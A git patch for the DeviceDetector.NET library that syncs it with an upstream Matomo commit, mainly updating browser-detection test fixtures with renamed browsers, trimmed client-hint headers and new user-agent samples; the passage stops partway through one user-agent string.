From 1cf3586e491953d5694ca147008df7b830c1ec56 Mon Sep 17 00:00:00 2001 From: totpero Date: Tue, 19 Mar 2024 17:38:10 +0200 Subject: [PATCH] update to this commit https://github.com/matomo-org/device-detector/commit/b70d7d6622d9359b9107bc3562d0e4f6aa6873a6 --- .../Parser/Client/fixtures/browser.yml | 853 ++++++++++++++++-- .../Parser/Client/fixtures/library.yml | 36 + .../Parser/Client/fixtures/mobile_app.yml | 194 +++- .../Parser/Client/fixtures/pim.yml | 18 + .../Parser/Devices/DevicesTest.cs | 2 +- .../Parser/fixtures/oss.yml | 241 ++++- DeviceDetector.NET.Tests/fixtures/bots.yml | 546 ++++++++++- .../fixtures/clienthints-app.yml | 148 ++- .../fixtures/clienthints.yml | 50 + DeviceDetector.NET.Tests/fixtures/console.yml | 30 + DeviceDetector.NET.Tests/fixtures/desktop.yml | 36 +- .../fixtures/mobile_apps.yml | 2 +- .../fixtures/phablet-1.yml | 306 +++++++ .../fixtures/podcasting.yml | 23 +- .../fixtures/portable_media_player.yml | 2 +- .../fixtures/smart_speaker.yml | 92 +- .../fixtures/smartphone-1.yml | 4 +- .../fixtures/smartphone-10.yml | 12 +- .../fixtures/smartphone-11.yml | 2 +- .../fixtures/smartphone-15.yml | 14 +- .../fixtures/smartphone-16.yml | 4 +- .../fixtures/smartphone-24.yml | 2 +- .../fixtures/smartphone-26.yml | 10 +- .../fixtures/smartphone-27.yml | 8 +- .../fixtures/smartphone-29.yml | 12 +- .../fixtures/smartphone-34.yml | 6 +- .../fixtures/smartphone-37.yml | 464 ++++++++++ .../fixtures/smartphone-6.yml | 2 +- .../fixtures/tablet-11.yml | 782 ++++++++++++++++ DeviceDetector.NET.Tests/fixtures/tv-1.yml | 26 +- DeviceDetector.NET.Tests/fixtures/tv-2.yml | 10 +- DeviceDetector.NET.Tests/fixtures/tv-3.yml | 472 ++++++++++ DeviceDetector.NET.Tests/fixtures/tv.yml | 75 +- .../fixtures/wearable.yml | 18 + DeviceDetector.NET/DeviceDetector.cs | 18 +- .../Client/Browser/Engine/VersionParser.cs | 6 +- .../Parser/Client/Browser/EngineParser.cs | 2 + .../Parser/Client/BrowserParser.cs | 89 +- .../Parser/Device/AbstractDeviceParser.cs | 4 +- DeviceDetector.NET/Parser/Device/Devices.cs | 5 + .../Parser/OperatingSystemParser.cs | 37 +- DeviceDetector.NET/Parser/PlatformType.cs | 1 + DeviceDetector.NET/regexes/bots.yml | 411 ++++++++- .../regexes/client/browser_engine.yml | 3 + .../regexes/client/browsers.yml | 337 ++++++- .../regexes/client/hints/apps.yml | 12 +- .../regexes/client/hints/browsers.yml | 23 +- .../regexes/client/libraries.yml | 28 +- .../regexes/client/mediaplayers.yml | 2 +- .../regexes/client/mobile_apps.yml | 260 ++++-- DeviceDetector.NET/regexes/client/pim.yml | 12 +- .../regexes/device/consoles.yml | 13 +- DeviceDetector.NET/regexes/device/mobiles.yml | 566 +++++++----- .../regexes/device/notebooks.yml | 2 +- .../regexes/device/shell_tv.yml | 12 + .../regexes/device/televisions.yml | 12 +- DeviceDetector.NET/regexes/oss.yml | 474 ++++++---- 57 files changed, 5989 insertions(+), 842 deletions(-) diff --git a/DeviceDetector.NET.Tests/Parser/Client/fixtures/browser.yml b/DeviceDetector.NET.Tests/Parser/Client/fixtures/browser.yml index 7be4acd..a439a6b 100644 --- a/DeviceDetector.NET.Tests/Parser/Client/fixtures/browser.yml +++ b/DeviceDetector.NET.Tests/Parser/Client/fixtures/browser.yml @@ -21,7 +21,7 @@ user_agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 Safari/537.36 QIHU 360SE client: type: browser - name: 360 Browser + name: 360 Secure Browser version: "" engine: Blink engine_version: "42.0.2311.152" @@ -30,7 +30,7 @@ user_agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 Safari/537.36 QIHU 360EE client: type: browser - name: 360 Browser + name: 360 Secure Browser version: "" engine: Blink engine_version: "42.0.2311.152" @@ -1852,7 +1852,7 @@ version: "2.5" engine: Gecko engine_version: "63.0" - family: null + family: - user_agent: Mozilla/5.0 (Macintosh; PPC Mac OS X 10.5; FPR10; rv:45.0) Gecko/20100101 Firefox/45.0 TenFourFox/G5 client: @@ -2014,7 +2014,7 @@ version: "1.3" engine: WebKit engine_version: "604.1.38" - family: null + family: - user_agent: Mozilla/5.0 (iPhone; CPU iPhone OS 7_1_1 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) OPiOS/8.0.1.80062 Mobile/11D201 Safari/9537.53 client: @@ -2145,11 +2145,11 @@ user_agent: Mozilla/5.0 (Linux; Android 7.0; INTEX AQUA SELFIE Build/NRD90M;) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.116 Mobile Safari/537.36 JioBrowser/1.4.2 client: type: browser - name: Jio Browser + name: JioSphere version: "1.4.2" engine: Blink engine_version: "77.0.3865.116" - family: + family: Chrome - user_agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.87 Safari/537.36 Hola/1.148.217 client: @@ -2779,7 +2779,7 @@ version: "1.8.2" engine: WebKit engine_version: "601.1.46" - family: null + family: - user_agent: Mozilla/5.0 (Linux; Android 6.0.1; SM-N910F Build/MMB29M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Crosswalk/23.53.589.2 Mobile Safari/537.36 QwantMobile/1.1 client: @@ -2788,7 +2788,7 @@ version: "1.1" engine: Blink engine_version: "53.0.2785.143" - family: null + family: - user_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Sizzy/0.0.21 Chrome/73.0.3683.121 Electron/5.0.2 Safari/537.36 client: @@ -3553,7 +3553,7 @@ version: 2.4.1 engine: WebKit engine_version: 603.3.8 - family: null + family: - user_agent: Mozilla/5.0 (X11; HasCodingOs 1.0; Linux x64) AppleWebKit/637.36 (KHTML, like Gecko) Chrome/70.0.3112.101 Safari/637.36 HasBrowser/5.0 client: @@ -3711,11 +3711,11 @@ user_agent: Mozilla/5.0 (Linux; Android 10; AC2001) AppleWebKit/537.36 (KHTML, like Gecko) JioPages/2.0 Chrome/83.0.4103.96 Mobile Safari/537.36 client: type: browser - name: Jio Browser + name: JioSphere version: "2.0" engine: Blink engine_version: "83.0.4103.96" - family: + family: Chrome - user_agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0 PolyBrowser/36.0 client: @@ -4465,13 +4465,7 @@ family: Chrome headers: Sec-CH-UA: '" Not A;Brand";v="99.0.0.0", "Chromium";v="98.0.4758.109", "Gener8";v="98.0.4758.109"' - Sec-CH-UA-Platform: "Windows" - Sec-CH-UA-Mobile: "?0" Sec-CH-UA-Full-Version: "98.0.4758.109" - Sec-CH-UA-Platform-Version: "10.0.0" - Sec-CH-UA-Arch: "x86" - Sec-CH-UA-Bitness: "64" - Sec-CH-Prefers-Color-Scheme: "light" - user_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.16 Safari/537.36 OPR/85.0.4338.0 (Edition developer) client: @@ -4483,13 +4477,7 @@ family: Opera headers: Sec-CH-UA: '" Not A;Brand";v="99.0.0.0", "Chromium";v="99.0.4844.16", "Opera Crypto";v="99.0.4844.16"' - Sec-CH-UA-Platform: "Windows" - Sec-CH-UA-Mobile: "?0" Sec-CH-UA-Full-Version: "99.0.4844.16" - Sec-CH-UA-Platform-Version: "10.0.0" - Sec-CH-UA-Arch: "x86" - Sec-CH-UA-Bitness: "64" - Sec-CH-Prefers-Color-Scheme: "dark" - user_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.104 Whale/3.13.131.36 Safari/537.36 client: @@ -4501,13 +4489,7 @@ family: Chrome headers: Sec-CH-UA: '" Not A;Brand";v="99.0.0.0", "Chromium";v="98", "Whale";v="3.13.131.36"' - Sec-CH-UA-Platform: "Windows" - Sec-CH-UA-Mobile: "?0" Sec-CH-UA-Full-Version: "3.13.131.36" - Sec-CH-UA-Platform-Version: "14.0.0" - Sec-CH-UA-Arch: "x86" - Sec-CH-UA-Bitness: "64" - Sec-CH-Prefers-Color-Scheme: "light" - user_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 OPR/84.0.4316.30 client: @@ -4519,13 +4501,7 @@ family: Opera headers: Sec-CH-UA: '" Not A;Brand";v="99.0.0.0", "Chromium";v="98.0.4758.102", "Opera GX";v="98.0.4758.102"' - Sec-CH-UA-Platform: "Windows" - Sec-CH-UA-Mobile: "?0" Sec-CH-UA-Full-Version: "98.0.4758.102" - Sec-CH-UA-Platform-Version: "14.0.0" - Sec-CH-UA-Arch: "x86" - Sec-CH-UA-Bitness: "64" - Sec-CH-Prefers-Color-Scheme: "dark" - user_agent: Mozilla/5.0 (Linux; U; Android 8.1.0; ru-ru; ZC554KL Build/OPM1.171019.011) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/61.0.3163.128 Mobile Safari/537.36 XiaoMi/Mint Browser/3.9.1 client: @@ -4904,7 +4880,7 @@ user_agent: Mozilla/5.0 (Linux; Android 11; M1908C3JGG Build/RP1A.200720.011; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/97.0.4692.87 Mobile Safari/537.36 client: type: browser - name: JioPages + name: JioSphere version: "" engine: Blink engine_version: "97.0.4692.87" @@ -6040,8 +6016,6 @@ family: Chrome headers: Sec-CH-UA: '"(Not(A:Brand";v="8.0.0.0", "WaveBrowser";v="1.1.6.4", "WaveBrowser";v="1.1.6.4"' - Sec-CH-UA-Platform: 'Windows' - Sec-CH-UA-Mobile: '?0' - user_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36 client: @@ -6053,8 +6027,6 @@ family: Chrome headers: Sec-CH-UA: '" Not A;Brand";v="99.0.0.0", "Chromium";v="99.0.15185.77", "CCleaner Browser";v="99.0.15185.77"' - Sec-CH-UA-Platform: 'Windows' - Sec-CH-UA-Mobile: '?0' - user_agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.132 Safari/537.36 client: @@ -6066,8 +6038,6 @@ family: Chrome headers: Sec-CH-UA: '" Not A;Brand";v="99", "Chromium";v="98", "Sidekick";v="98"' - Sec-CH-UA-Platform: 'macOS' - Sec-CH-UA-Mobile: '?0' - user_agent: 'Opera%20GX/416.0.0 CFNetwork/1331.0.7 Darwin/21.4.0' client: @@ -6359,7 +6329,7 @@ user_agent: Mozilla/5.0 (Linux; Android 6.0; hi6210sft Build/MRA58K; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/45.0.2454.95 Mobile Safari/537.36 client: type: browser - name: 360 Browser + name: 360 Secure Browser version: "" engine: Blink engine_version: 45.0.2454.95 @@ -6370,7 +6340,7 @@ user_agent: Mozilla/5.0 (Linux; Android 9; vivo 1902 Build/PPR1.180610.011; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/81.0.4044.145 Mobile Safari/537.36 client: type: browser - name: 360 Browser + name: 360 Secure Browser version: "" engine: Blink engine_version: 81.0.4044.145 @@ -6381,7 +6351,7 @@ user_agent: Mozilla/5.0 (Linux; Android 9; vivo 1902 Build/PPR1.180610.011; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/81.0.4044.145 Mobile Safari/537.36 client: type: browser - name: 360 Browser + name: 360 Secure Browser version: "" engine: Blink engine_version: 81.0.4044.145 @@ -6414,7 +6384,7 @@ user_agent: Mozilla/5.0 (iPad; CPU OS 12_1_4 like Mac OS X) AppleWebKit/606.4.5 (KHTML, like Gecko) Mobile/16D57 QHBrowserHD/126 QihooBrowserHD/4.1.3 Safari/606.4.5 Qihoo NewsSDK/1.2.2/4.1.3 client: type: browser - name: 360 Browser + name: 360 Secure Browser version: 4.1.3 engine: WebKit engine_version: 606.4.5 @@ -6472,8 +6442,6 @@ family: Chrome headers: Sec-CH-UA: '" Not A;Brand";v="99.0.0.0", "Chromium";v="2022.04"' - Sec-CH-UA-Platform: 'Linux' - Sec-CH-UA-Mobile: '?0' - user_agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.148 Atom/23.0.0.28 Safari/537.36 client: @@ -6485,8 +6453,6 @@ family: Chrome headers: Sec-CH-UA: '" Not A;Brand";v="99", "Chromium";v="102", "Atom";v="23"' - Sec-CH-UA-Platform: "Windows" - Sec-CH-UA-Mobile: "?0" - user_agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.148 Atom/23.0.0.28 Safari/537.36 client: @@ -6498,13 +6464,7 @@ family: Chrome headers: Sec-CH-UA: '" Not A;Brand";v="99.0.0.0", "Chromium";v="102.0.5005.148", "Atom";v="23.0.0.28"' - Sec-CH-UA-Platform: "Windows" - Sec-CH-UA-Mobile: "?0" Sec-CH-UA-Full-Version: "102.0.5005.148" - Sec-CH-UA-Platform-Version: "10.0.0" - Sec-CH-UA-Arch: "x86" - Sec-CH-UA-Bitness: "64" - Sec-CH-Prefers-Color-Scheme: "light" - user_agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36 Hola/1.200.311 client: @@ -6516,8 +6476,6 @@ family: Chrome headers: Sec-CH-UA: '"Chromium";v="103", ".Not/A)Brand";v="99"' - Sec-CH-UA-Platform: "Windows" - Sec-CH-UA-Mobile: "?0" - user_agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.88 Safari/537.36 OPR/85.0.4341.13 client: @@ -6529,12 +6487,7 @@ family: Opera headers: Sec-CH-UA: '" Not A;Brand";v="99.0.0.0", "Chromium";v="99.0.4844.88"' - Sec-CH-UA-Platform: "Android" - Sec-CH-UA-Mobile: "?0" Sec-CH-UA-Full-Version: "99.0.4844.88" - Sec-CH-UA-Platform-Version: "9.0.0" - Sec-CH-UA-Model: "STF-L09" - Sec-CH-Prefers-Color-Scheme: "light" - user_agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36 SLBrowser/8.0.0.4153 SLBChan/25 client: @@ -6546,7 +6499,6 @@ family: headers: Sec-CH-UA: '" Not A;Brand";v="99", "Chromium";v="8"' - Sec-CH-UA-Mobile: "?0" - user_agent: DDG-Android-3.1.1 client: @@ -7127,8 +7079,6 @@ family: Chrome headers: Sec-CH-UA: '"(Not(A:Brand";v="8", "Chromium";v="2022"' - Sec-CH-UA-Platform: 'Windows' - Sec-CH-UA-Mobile: '?0' - user_agent: Mozilla/5.0 (Linux; Android 10; VOG-L29; HMSCore 6.6.0.352; GMSCore 22.26.15) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.105 HuaweiBrowser/12.1.3.301 Mobile Safari/537.36 client: @@ -7140,7 +7090,6 @@ family: Chrome headers: Sec-CH-UA: '"Chromium";v="92", " Not A;Brand";v="99", "HuaweiBrowser";v="92"' - Sec-CH-UA-Mobile: '?1' - user_agent: Mozilla/5.0 (Linux; Android 10) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Mobile Safari/537.36 client: @@ -7152,8 +7101,6 @@ family: Chrome headers: Sec-CH-UA: '"Chromium";v="106", "Brave";v="106", "Not;A=Brand";v="99"' - Sec-CH-UA-Platform: "Android" - Sec-CH-UA-Mobile: "?1" - user_agent: Mozilla/5.0 (Linux; Android 10) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Mobile Safari/537.36 client: @@ -7165,8 +7112,6 @@ family: Chrome headers: Sec-CH-UA: '"Chromium";v="106", "Brave Browser";v="106", "Not;A=Brand";v="99"' - Sec-CH-UA-Platform: "Android" - Sec-CH-UA-Mobile: "?1" - user_agent: Mozilla/5.0 (X11; Linux x86_64; Quest 2) AppleWebKit/537.36 (KHTML, like Gecko) OculusBrowser/24.3.0.4.63.416895357 SamsungBrowser/4.0 Chrome/106.0.5249.168 VR Safari/537.36 client: @@ -7178,8 +7123,6 @@ family: Chrome headers: Sec-CH-UA: '"Chromium";v="106", "Oculus Browser";v="24", "Not;A=Brand";v="99"' - Sec-CH-UA-Platform: "Linux" - Sec-CH-UA-Mobile: "?0" - user_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 client: @@ -7191,8 +7134,6 @@ family: Chrome headers: Sec-CH-UA: '"Chromium";v="2021", ";Not A Brand";v="99"' - Sec-CH-UA-Platform: "Windows" - Sec-CH-UA-Mobile: "?0" Sec-CH-UA-Full-Version: '"2021.12"' - user_agent: Mozilla/5.0 (Android 10; Mobile VR; rv:105.0) Gecko/105.0 Wolvic/1.2 @@ -7250,8 +7191,6 @@ family: Chrome headers: Sec-CH-UA: '"Wavebox";v="111", "Not(A:Brand";v="8", "Chromium";v="111"' - Sec-CH-UA-Platform: 'macOS' - Sec-CH-UA-Mobile: '?0' - user_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36 Edg/86.0.622.69 client: @@ -7263,8 +7202,6 @@ family: Internet Explorer headers: Sec-CH-UA: 'Microsoft Edge;v="86", "Chromium";v="86", ";Not A Brand";v="99"' - Sec-CH-UA-Platform: 'Windows' - Sec-CH-UA-Mobile: '?0' - user_agent: Mozilla/5.0 (Linux; Android 4.4.2; SM-P600) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36 client: @@ -7342,8 +7279,6 @@ family: Chrome headers: Sec-CH-UA: '"HeadlessChrome";v="113", "Chromium";v="113", "Not-A.Brand";v="24"' - Sec-CH-UA-Platform: 'Linux' - Sec-CH-UA-Mobile: '?0' - user_agent: ddg_android/5.114.3 (com.duckduckgo.mobile.android; Android API 22) client: @@ -7574,13 +7509,24 @@ user_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Norton/115.0.21984.175 client: type: browser - name: Norton Secure Browser + name: Norton Private Browser version: 115.0.21984.175 engine: Blink engine_version: 115.0.0.0 family: Chrome headers: Sec-CH-UA: '"Not/A)Brand";v="99.0.0.0", "Norton Secure Browser";v="115.0.21984.175", "Chromium";v="115.0.21984.175"' +- + user_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Norton/121.0.0.0 + client: + type: browser + name: Norton Private Browser + version: 121.0.23861.160 + engine: Blink + engine_version: 121.0.0.0 + family: Chrome + headers: + Sec-CH-UA: '"Not A(Brand";v="99.0.0.0", "Norton Private Browser";v="121.0.23861.160", "Chromium";v="121.0.23861.160"' - user_agent: Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Mobile Alva/113.0.0.0 Mobile Safari/537.36 client: @@ -8187,6 +8133,15 @@ engine: WebKit engine_version: "" family: +- + user_agent: Mozilla/5.0 (X11; Linux armv7l) AppleWebKit/537.36 (KHTML, like Gecko) Raspbian Chromium/72.0.3626.121 Chrome/72.0.3626.121 Safari/537.36 + client: + type: browser + name: Raspbian Chromium + version: 72.0.3626.121 + engine: Blink + engine_version: 72.0.3626.121 + family: Chrome - user_agent: 'Dalvik/2.1.0 (Linux; U; Android 13; SM-A245M Build/TP1A.220624.014) AppleWebKit [PB/171] (KHTML, like Gecko) Chrome/108.0.0.0 Mobile Safari/537.36' client: @@ -8334,3 +8289,737 @@ family: Chrome headers: http-x-requested-with: com.go.browser +- + user_agent: Mozilla/1.22 (compatible; MSIE 5.01; PalmOS 3.0) EudoraWeb 2.1 + client: + type: browser + name: EudoraWeb + version: "2.1" + engine: + engine_version: + family: +- + user_agent: Dalvik/2.1.0 (Linux; U; Android 11; VEON 4K Smart TV Build/RTT2.220103.001) + client: + type: browser + name: Basic Web Browser + version: + engine: WebKit + engine_version: + family: Android Browser + headers: + http-x-requested-with: com.apgsolutionsllc.APGSOLUTIONSLLC0007 +- + user_agent: Mozilla/5.0 (Android 11; Mobile; rv:107.0) Gecko/107.0 Firefox/107.0 MixerBox-Browser + client: + type: browser + name: MixerBox AI + version: "" + engine: Gecko + engine_version: "107.0" + family: +- + user_agent: Mozilla/5.0 (Android 12; Mobile; rv:109.0) Gecko/119.0 Firefox/119.0 YouBrowser/1.4.12 + client: + type: browser + name: YouBrowser + version: 1.4.12 + engine: Gecko + engine_version: "119.0" + family: +- + user_agent: Mozilla/5.0 (Android 9; Mobile; rv:109.0) Gecko/111.0 MaxBrowser/111.0 + client: + type: browser + name: MaxBrowser + version: "111.0" + engine: Gecko + engine_version: "111.0" + family: +- + user_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 SberBrowser/11.2.68.1 + client: + type: browser + name: SberBrowser + version: 11.2.68.1 + engine: Blink + engine_version: 119.0.0.0 + family: Chrome +- + user_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5026.0 Safari/537.36 Edg/103.0.1254.0 + client: + type: browser + name: Microsoft Edge + version: 103.0.1254.0 + engine: Blink + engine_version: 103.0.5026.0 + family: Internet Explorer + headers: + Sec-CH-UA: '"Edge";v="103", "Chromium";v="103", "Not=A?Brand";v="24"' +- + user_agent: Mozilla/5.0 (Linux; Android 11; TECNO KG7h Build/RP1A.200720.011; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/116.0.0.0 Mobile Safari/537.36 + client: + type: browser + name: Chrome Webview + version: 116.0.5845.164 + engine: Blink + engine_version: 116.0.0.0 + family: Chrome + headers: + Sec-CH-UA: '"Chromium";v="116.0.5845.164", "Not)A;Brand";v="24.0.0.0", "Android WebView";v="116.0.5845.164"' +- + user_agent: Mozilla/5.0 (Linux; Android 12; AC2001) AppleWebKit/537.36 (KHTML, like Gecko) JioSphere/5.0 Chrome/111.0.5563.58 Mobile Safari/537.36 + client: + type: browser + name: JioSphere + version: "5.0" + engine: Blink + engine_version: 111.0.5563.58 + family: Chrome +- + user_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.289 Safari/537.36 + client: + type: browser + name: 360 Secure Browser + version: 15.1.1240.64 + engine: Blink + engine_version: 114.0.5735.289 + family: + headers: + Sec-CH-UA: '"Chromium";v="15.1.1240.64", "Not.A/Brand";v="8.0.0.0"' + Sec-CH-UA-Full-Version: "15.1.1240.64" +- + user_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.289 Safari/537.36 + client: + type: browser + name: 360 Secure Browser + version: "15" + engine: Blink + engine_version: 114.0.5735.289 + family: + headers: + Sec-CH-UA: '"Chromium";v="15", "Not.A/Brand";v="8"' +- + user_agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36/11.1.1068.0 + client: + type: browser + name: 360 Secure Browser + version: 11.1.1068.0 + engine: Blink + engine_version: 69.0.3497.100 + family: +- + user_agent: Mozilla/5.0 (iPhone; CPU iPhone OS 16_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.0 Mobile/15E148 Safari/604.1 tararia/1.0.17 + client: + type: browser + name: tararia + version: 1.0.17 + engine: WebKit + engine_version: 605.1.15 + family: +- + user_agent: Mozilla/5.0 (iPhone; CPU iPhone OS 16_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 yixia.browser/com.donerbrowser.app/7 + client: + type: browser + name: Colom Browser + version: "" + engine: WebKit + engine_version: 605.1.15 + family: +- + user_agent: Mozilla/5.0 (iPhone; CPU iPhone OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.5 Mobile/15E148 Safari/604.1/VibeMate + client: + type: browser + name: VibeMate + version: "" + engine: WebKit + engine_version: 605.1.15 + family: +- + user_agent: 'Mozilla/5.0 (Linux; Android 13; SM-S918B Build/TP1A.220624.014) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Mobile Safari/537.36 VibeMate' + client: + type: browser + name: VibeMate + version: "" + engine: Blink + engine_version: 116.0.0.0 + family: + headers: + http-x-requested-with: com.lovense.vibemate +- + user_agent: Mozilla/5.0 (Linux; Android 10; HMA-L29 Build/HUAWEIHMA-L29; wv) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.125 Mobile Safari/537.36 TestApp/6.5.1.302 + client: + type: browser + name: Chrome Webview + version: 102.0.5005.125 + engine: Blink + engine_version: 102.0.5005.125 + family: Chrome +- + user_agent: Mozilla/5.0 (Linux; Android 10; JNY-LX1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 RakutenBrowser/8.8.2 Mobile Safari/537.36 + client: + type: browser + name: Rakuten Browser + version: 8.8.2 + engine: Blink + engine_version: 106.0.0.0 + family: +- + user_agent: Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36 RakutenWebsearch/5.114.04 + client: + type: browser + name: Rakuten Web Search + version: 5.114.04 + engine: Blink + engine_version: 114.0.0.0 + family: +- + user_agent: Mozilla/5.0 (iPhone; CPU iPhone OS 15_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/98.0.4758.85 Mobile/15E148 Safari/604.1 RakutenWebsearch/7.98.4 App-RakutenWebSearch/7.98.4 + client: + type: browser + name: Rakuten Web Search + version: 7.98.4 + engine: WebKit + engine_version: 605.1.15 + family: +- + user_agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:103.0) Gecko/20100101 Firefox/103.0 Impervious/2022.10 + client: + type: browser + name: Impervious Browser + version: "2022.10" + engine: Gecko + engine_version: "103.0" + family: Firefox +- + user_agent: Mozilla/5.0 (SymbianOS/9.4; Series60/5.0 NokiaN97-1/10.0.012; Profile/MIDP-2.1 Configuration/CLDC-1.1; en-us) AppleWebKit/525 (KHTML, like Gecko) WicKed/7.1.12344 + client: + type: browser + name: Nokia Browser + version: 7.1.12344 + engine: WebKit + engine_version: "525" + family: Nokia Browser +- + user_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) VibeMate/1.9.2 Chrome/104.0.5112.81 Electron/20.0.1 Safari/537.36 + client: + type: browser + name: VibeMate + version: 1.9.2 + engine: Blink + engine_version: 104.0.5112.81 + family: +- + user_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) catalyst/3.5.3 Chrome/116.0.5845.190 Electron/26.2.4 Safari/537.36 + client: + type: browser + name: Catalyst + version: 3.5.3 + engine: Blink + engine_version: 116.0.5845.190 + family: +- + user_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Wexond/5.2.0 Chrome/87.0.4280.88 Safari/537.36 + client: + type: browser + name: Wexond + version: 5.2.0 + engine: Blink + engine_version: 87.0.4280.88 + family: Chrome +- + user_agent: Ninetails/3.8.1 + client: + type: browser + name: Ninetails + version: 3.8.1 + engine: + engine_version: + family: +- + user_agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; JuziBrowser) + client: + type: browser + name: JUZI Browser + version: + engine: Trident + engine_version: "5.0" + family: +- + user_agent: Mozilla/5.0 (Linux; Android 11; Hisense E20s Build/RP1A.201005.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/92.0.4515.131 Mobile Safari/537.36 Lotus/1.27 + client: + type: browser + name: Lotus + version: "1.27" + engine: Blink + engine_version: 92.0.4515.131 + family: + headers: + http-x-requested-with: dev.sect.lotus.browser.videoapp +- + user_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 + client: + type: browser + name: Catsxp + version: "122" + engine: Blink + engine_version: 122.0.0.0 + family: Chrome + headers: + Sec-CH-UA: '"Chromium";v="122", "Not(A:Brand";v="24", "Catsxp";v="122"' +- + user_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.87 Safari/537.36 + client: + type: browser + name: QJY TV Browser + version: "" + engine: Blink + engine_version: 78.0.3904.87 + family: Chrome + headers: + http-x-requested-with: com.qjy.browser +- + user_agent: Mozilla/5.0 (Linux; Android 11; SM-A505FN) AppleWebKit/537.36 (KHTML, like Gecko) 